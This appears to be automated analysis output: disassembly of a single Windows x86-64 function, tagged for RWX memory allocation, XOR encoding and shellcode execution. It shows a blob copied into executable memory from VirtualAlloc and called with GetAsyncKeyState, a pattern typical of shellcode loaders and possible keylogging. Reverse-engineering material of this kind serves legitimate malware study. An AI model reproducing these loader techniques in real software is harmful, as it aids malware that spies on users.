Function at 0x140045bd0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1401400f0]
xor rax, rsp
mov qword [rsp + 0x40], rax
movzx eax, byte [0x140192100]
test al, al
jne 0x140045c35
movsxd rcx, dword [reloc.WS2_32.dll_bind]
lea rbx, [0x140000000]
mov rcx, qword [rbx + rcx*8 + 0x12fa50]
call fcn.14002f330
test al, al
je 0x140045e14
mov byte [0x140192100], 1
jmp 0x140045e14
cmp al, 1
jne 0x140045e14
mov dword [rsp + 0x20], 0xd2d5d4
mov byte [rsp + 0x24], al
xor r14d, r14d
mov ecx, r14d
nop
lea eax, [rcx - 6]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 3
jb 0x140045c50
mov byte [rsp + 0x24], r14b
lea rcx, [rsp + 0x20]
call fcn.14002f330
lea rdi, [0x14012f7b0]
lea r15, [rsp + 0x78]
lea rbx, [0x140000000]
movabs r12, 0x7a6db90d88785107
lea rbp, [0x1400cb780]
lea r13, [0x14012fa48]
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r15
mov rsi, qword [r15]
xor rsi, r12
mov qword [rsp + 0x28], rsi
mov qword [r15], r14
mov ecx, r14d
mov rax, qword [0x1401995a0]
test rax, rax
je 0x140045cfb
mov rdx, r14
cmp rax, rbp
je 0x140045cea
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x1995a0]
test rax, rax
jne 0x140045cd2
jmp 0x140045cfb
mov r8, qword [rbx + rdx*8 + 0x191de0]
test r8, r8
jne 0x140045ddf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140045d22
mov r8, r14
jmp 0x140045dbe
mov rcx, rbp
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140045d30
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x140197620]
mov qword [rbx + rax*8 + 0x1995a0], rbp
mov qword [rbx + rax*8 + 0x191de0], r8
inc rax
mov qword [0x140197620], rax
mov rdx, rdi
mov rcx, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call r8
nop
xor rsi, r12
mov qword [r15], rsi
test ax, ax
je 0x140045e07
mov eax, dword [rdi]
mov dword [reloc.WS2_32.dll_bind], eax
mov byte [0x140192100], 0
add rdi, 4
cmp rdi, r13
jne 0x140045ca0
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1401185a0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret